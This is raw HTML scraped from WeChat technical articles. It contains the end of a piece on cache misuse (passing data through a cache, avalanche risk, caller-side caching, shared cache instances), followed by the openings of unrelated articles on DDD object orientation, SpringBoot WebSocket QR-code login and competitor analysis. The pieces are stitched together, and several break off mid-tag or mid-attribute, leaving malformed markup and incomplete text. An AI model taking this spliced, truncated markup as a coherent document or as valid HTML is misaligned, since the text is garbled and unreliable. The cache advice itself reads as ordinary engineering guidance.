1px;">如上图:</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(1)服务1和服务2约定好key和value,通过缓存传递数据;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(2)服务1将数据写入缓存,服务2从缓存读取数据,达到两个服务通信的目的;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">该方案存在的问题是:</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(1)数据管道,数据通知场景,MQ更加适合;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(2)多个服务关联同一个缓存实例,会<span style="color: rgb(255, 76, 0);">导致服务耦合;</span></span> </section> <section style="line-height: 1.75em;"> <br> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>误用二:使用缓存未考虑雪崩。</strong></span> </section> <section style="line-height: 1.75em;"> <img class="rich_pages wxw-img" data-copyright="0" data-ratio="0.5423728813559322" data-s="300,640" src="/upload/ca73812f57a5be866cf611988d51d513.png" data-type="png" data-w="177" style=""> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">常规的缓存玩法,如上图:</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(1)服务先读缓存,缓存命中则返回;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(2)缓存不命中,再读数据库;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>什么时候会产生雪崩?</strong></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">如果缓存挂掉,所有的请求会压到数据库,如果未提前做容量预估,可能会<span style="color: rgb(255, 76, 0);">把数据库压垮</span>(在缓存恢复之前,数据库可能一直都起不来),导致系统整体不可服务。</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>如何应对潜在的雪崩?</strong></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">提前做容量预估,如果缓存挂掉,数据库仍能扛住,才能执行上述方案。</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">否则,就要进一步设计,更具体的,有两类常见方案。</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>方案一:高可用缓存</strong></span> </section> <section style="line-height: 1.75em;"> <img class="rich_pages wxw-img" data-copyright="0" data-ratio="0.5056818181818182" data-s="300,640" src="/upload/d04f06b822c2215e410c441f79aa5dd0.png" data-type="png" data-w="176" style=""> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">如上图:使用高可用缓存集群,一个缓存实例挂掉后,能够自动做故障转移。</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>方案二:缓存水平切分</strong></span> </section> <section style="line-height: 1.75em;"> <img class="rich_pages wxw-img" data-copyright="0" data-ratio="0.6411764705882353" data-s="300,640" src="/upload/7ef305c308d46401b60877cccd33d012.png" data-type="png" data-w="170" style=""> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">如上图:使用缓存水平切分,一个缓存实例挂掉后,不至于所有的流量都压到数据库上。</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>误用三:调用方缓存数据。</strong></span> </section> <section style="line-height: 1.75em;"> <img class="rich_pages wxw-img" data-copyright="0" data-ratio="0.9022988505747126" data-s="300,640" src="/upload/13ee340f0c670e2b23cb9d9e3aac31f3.png" data-type="png" data-w="174" style=""> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">如上图:</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(1)服务提供方缓存,向调用方屏蔽数据获取的复杂性(这个没问题);</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(2)服务调用方,也缓存一份数据,先读自己的缓存,再决定是否调用服务(这个有问题);</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">该方案存在的问题是:</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(1)调用方需要关注数据获取的复杂性;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(2)更严重的,服务修改db里的数据,淘汰了服务cache之后,难以通知调用方淘汰其cache里的数据,从而导致<span style="color: rgb(255, 76, 0);">数据不一致;</span></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(3)有人说,服务可以通过MQ通知调用方淘汰数据,额,难道<span style="color: rgb(255, 76, 0);">下游的服务要依赖上游的调用方</span>,分层架构设计不是这么玩的;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>误用四:多服务共用缓存实例。</strong></span> </section> <section style="line-height: 1.75em;"> <img class="rich_pages wxw-img" data-copyright="0" data-ratio="0.36395759717314485" data-s="300,640" src="/upload/1abd0fd3381df0b80e60e132c978049e.png" data-type="png" data-w="283" style=""> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">如上图:</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(1)服务A和服务B共用一个缓存实例(不是通过这个缓存实例交互数据);</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">该方案存在的问题是:</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(1)可能导致key冲突,彼此冲掉对方的数据;</span> </section> <section style="line-height: 1.75em;"> <span style="color: rgb(0, 82, 255);font-size: 15px;letter-spacing: 1px;"><em>画外音:可能需要服务A和服务B提前约定好了key,以确保不冲突,常见的约定方式是使用</em></span> <span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 12px;"><em>namespace:key</em></span> <span style="color: rgb(0, 82, 255);font-size: 15px;letter-spacing: 1px;"><em>的方式来做key。</em></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(2)不同服务对应的数据量,吞吐量不一样,共用一个实例容易导致一个服务把另一个服务的<span style="color: rgb(255, 76, 0);">热数据挤出去;</span></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(3)共用一个实例,会导致服务之间的耦合,与微服务架构的“数据库,缓存私有”的设计原则是相悖的;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">建议的玩法是:</span> </section> <section style="line-height: 1.75em;"> <img class="rich_pages wxw-img" data-copyright="0" data-ratio="0.288135593220339" data-s="300,640" src="/upload/8b8aa6bf4694d8541fde8c782c3dd014.png" data-type="png" data-w="354" style=""> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">如上图:各个服务<span style="color: rgb(255, 76, 0);">私有化自己的数据存储</span>,对上游屏蔽底层的复杂性。</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>总结</strong></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">缓存使用小技巧:</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(1)服务与服务之间<span style="color: rgb(255, 76, 0);">不要通过缓存传递数据;</span></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(2)如果缓存挂掉,可能导致<span style="color: rgb(255, 76, 0);">雪崩</span>,此时要做<strong>高可用缓存</strong>,或者<strong>水平切分;</strong></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><span style="color: rgb(255, 76, 0);">(3)调用方不宜再单独使用缓存</span>存储服务底层的数据,容易出现数据不一致,以及反向依赖;</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">(4)不同服务,<span style="color: rgb(255, 76, 0);">缓存实例要做垂直拆分;</span></span> </section> <section style="line-height: 1.75em;"> <br> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">这些坑,你踩过吗?</span> <br> </section> <section class="mp_profile_iframe_wrp"> <mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MjM5ODYxMDA5OQ==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/YrezxckhYOxbibeY4UQvLjjG76dIsbXYGaaKCJpqU0kzRuu3r2CXosccgtc57I15CePibfpQMd5dBibXZDNNZYtkg/0?wx_fmt=png" data-nickname="架构师之路" data-alias="road5858" data-signature="架构师之路,坚持撰写接地气的架构文章" data-from="0"></mpprofile> </section> <section style="line-height: 1.75em;text-align: center;"> <strong style="font-family: -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;outline: 0px;"><span style="outline: 0px;font-size: 12px;letter-spacing: 1px;">架构师之路</span></strong> <span style="font-family: -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;text-align: center;outline: 0px;font-size: 12px;letter-spacing: 1px;">-分享</span> <span style="font-family: -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;text-align: center;outline: 0px;color: rgb(255, 76, 0);font-size: 12px;letter-spacing: 1px;">可落地</span> <span style="font-family: -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;text-align: center;outline: 0px;font-size: 12px;letter-spacing: 1px;">的技术文章</span> </section> <section style="outline: 0px;letter-spacing: 0.544px;white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 1.75em;"> <br> </section> <section style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong style="outline: 0px;"><span style="font-size: 15px;outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;">相关文章</span></strong><span style="font-size: 15px;outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;">:</span></span> </section> <section style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 1.75em;"> <span style="outline: 0px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;font-size: 15px;letter-spacing: 1px;">《<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MjM5ODYxMDA5OQ==&amp;mid=2651967131&amp;idx=1&amp;sn=9d56b8358911c2a36445758cfdf53efd&amp;chksm=bd2d7b478a5af2516d3c25f2a10e635512376b3365b6082d566b788971fc18c96a56e5733102&amp;scene=21#wechat_redirect" textvalue="架构师之路,20年干货精选" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" wah-hotarea="click" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;">架构师之路,20年干货精选</a>》</span> </section>

DDD领域驱动设计之面向对象思想

作者:微信小助手

<section style="font-size: 16px;"> <p style="outline: 0px;max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;" data-mpa-powered-by="yiban.io"><span style="outline: 0px;max-width: 100%;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;font-size: 24px;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;">面向对象</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p> <p style="margin-top: 22px;margin-bottom: 22px;outline: 0px;max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">面向对象是一种对<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">世界</span>理解和抽象的方法。那么<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">对象</span>是什么呢?</span></p> <p style="margin-top: 22px;margin-bottom: 22px;outline: 0px;max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对象是对世界的理解和抽象,世界又代称为<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">万物</span>。理解世界是比较复杂的,但是世界又是由<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">事物</span>组成的。</span></p> <p style="margin-top: 22px;margin-bottom: 22px;outline: 0px;max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">正是这样的一种关系,认识事物是极其重要的。那什么是<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">事物</span>呢?</span></p> <p style="margin-top: 22px;margin-bottom: 22px;outline: 0px;max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">事物:由<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">事</span>和<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">物</span>两个方面组成。事即事情,物即物体,那什么是事情?什么是物体呢?</span></p> <ul class="list-paddingleft-2" style="padding-left: 28px;outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"> <li style="outline: 0px;max-width: 100%;list-style: inherit;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">意志的行为</span>是为事。</span></p></li> <li style="outline: 0px;max-width: 100%;list-style: inherit;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">存在的一切是为物,物体又是由属性和行为组成的。</span></p></li> </ul> <p style="margin-top: 22px;margin-bottom: 22px;outline: 0px;max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">由于<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">对象</span>是对<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">事物</span>的理解和抽象,所以对象就是对一个事物的属性和行为的理解和抽象。正是这样的一种关系,<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">面向对象</span>就是对一个事物的<span style="outline: 0px;max-width: 100%;font-weight: 700;box-sizing: border-box !important;overflow-wrap: break-word !important;">属性和行为</span>的理解和抽象的方法。</span></p> <p style="margin-top: 22px;margin-bottom: 22px;outline: 0px;max-width: 100%;min-height: 1em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">理解对象以及抽象“对象”就是在理解和抽象事物的属性和行为。</span></p> <h2 data-id="heading-1" style="margin-top: 35px;margin-bottom: 10px;padding-bottom: 12px;outline: 0px;font-size: 24px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Hiragino Sans GB&quot;, &quot;Microsoft YaHei UI&quot;, &quot;Microsoft YaHei&quot;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);line-height: 1.5;borde

SpringBoot + Web Socket 实现扫码登录,这种方式太香了!!

作者:微信小助手

<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>大家好,我是艿艿。</strong></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最近单位又有一个新Java项目。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">涉及到扫码登录。之前项目使用的是 ajax轮询的方式。感觉太low了。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以这次用webSocket的方式进行实现</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">好。废话不多说!咱们开始!!</p> <h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid

手把手教你写竞品分析

作者:微信小助手

<p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com" data-mpa-powered-by="yiban.io"><br></p> <p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com"><br></p> <p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com"><br></p> <p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com"><br></p> <p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com"><br></p> <p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com"><br></p> <p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com"><br></p> <p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com"><br></p> <p style="display: none;" data-tools="西瓜插件,运行于电脑浏览器上的插件,可在公众号后台找优质文章素材,一键美化排版,检测文章违规,查看任意公众号粉丝阅读数" data-label="Power by:chajian.xiguaji.com"><br></p> <section style="line-height: 2em;"> <section style="display: none;line-height: 2em;"> <br> </section> <section style="display: none;line-height: 2em;"> <br> </section> <section style="display: none;line-height: 2em;"> <br> </section> </section> <section style="margin-bottom: 1.4em;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);margin-left: 16px;margin-right: 16px;line-height: 2em;"> <span style="font-size: 15px;"><img class="rich_pages wxw-img" data-ratio="0.5613682092555332" src="/upload/559134b8a882749a69f9634f5bf0416a.jpg" data-type="jpeg" data-w="497" style="border-radius: 10px;box-shadow: rgb(170, 170, 170) 0px 0px 14px 0px;"></span> </section> <section style="margin-bottom: 1.4em;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);margin-left: 16px;margin-right: 16px;line-height: 2em;"> <span style="font-size: 15px;">写竞品分析文档是产品经理必备技能,同时分析竞品也是创业者必须素质,本文教你如何进行竞品分析。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">知己知彼百战不殆,竞品分析文档对于产品新人来说,几乎是必备的,无论是竞品分析也好,还是产品体验报告,最终的目的,无非是指导我们产品前进的方向,这里就向大家解锁竞品分析的正确姿势。</span> </section> <h2 style="margin: 2.33333em 16px 1.16667em;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-weight: 600;font-stretch: inherit;font-size: 1.2em;font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;clear: left;color: rgb(26, 26, 26);text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"><strong><span style="font-size: 17px;">什么是竞品分析</span></strong></h2> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, &quot;WenQuanYi Micro Hei&quot;, sans-serif;font-size: 15px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);line-height: 2em;"> <span style="font-size: 15px;">在分析什么是竞品分析前首先明确什么是竞品,从字面意思来看就是竞争对手的产品,这就涉及到你的竞争点是什么!从大的方面来说如果你做的是互联网产品,那么所有的互联网产品都是你的竞争对手,你们竞争的是用户的时间。产品与产品之间的横向比较的内容,即竞品分析。</span> </section> <section style="margin: 1.4em 16px;color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &quot;Helvetica Neue&quot;, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Source Han Sans SC&quot;, &quot;Noto Sans CJK SC&quot;, 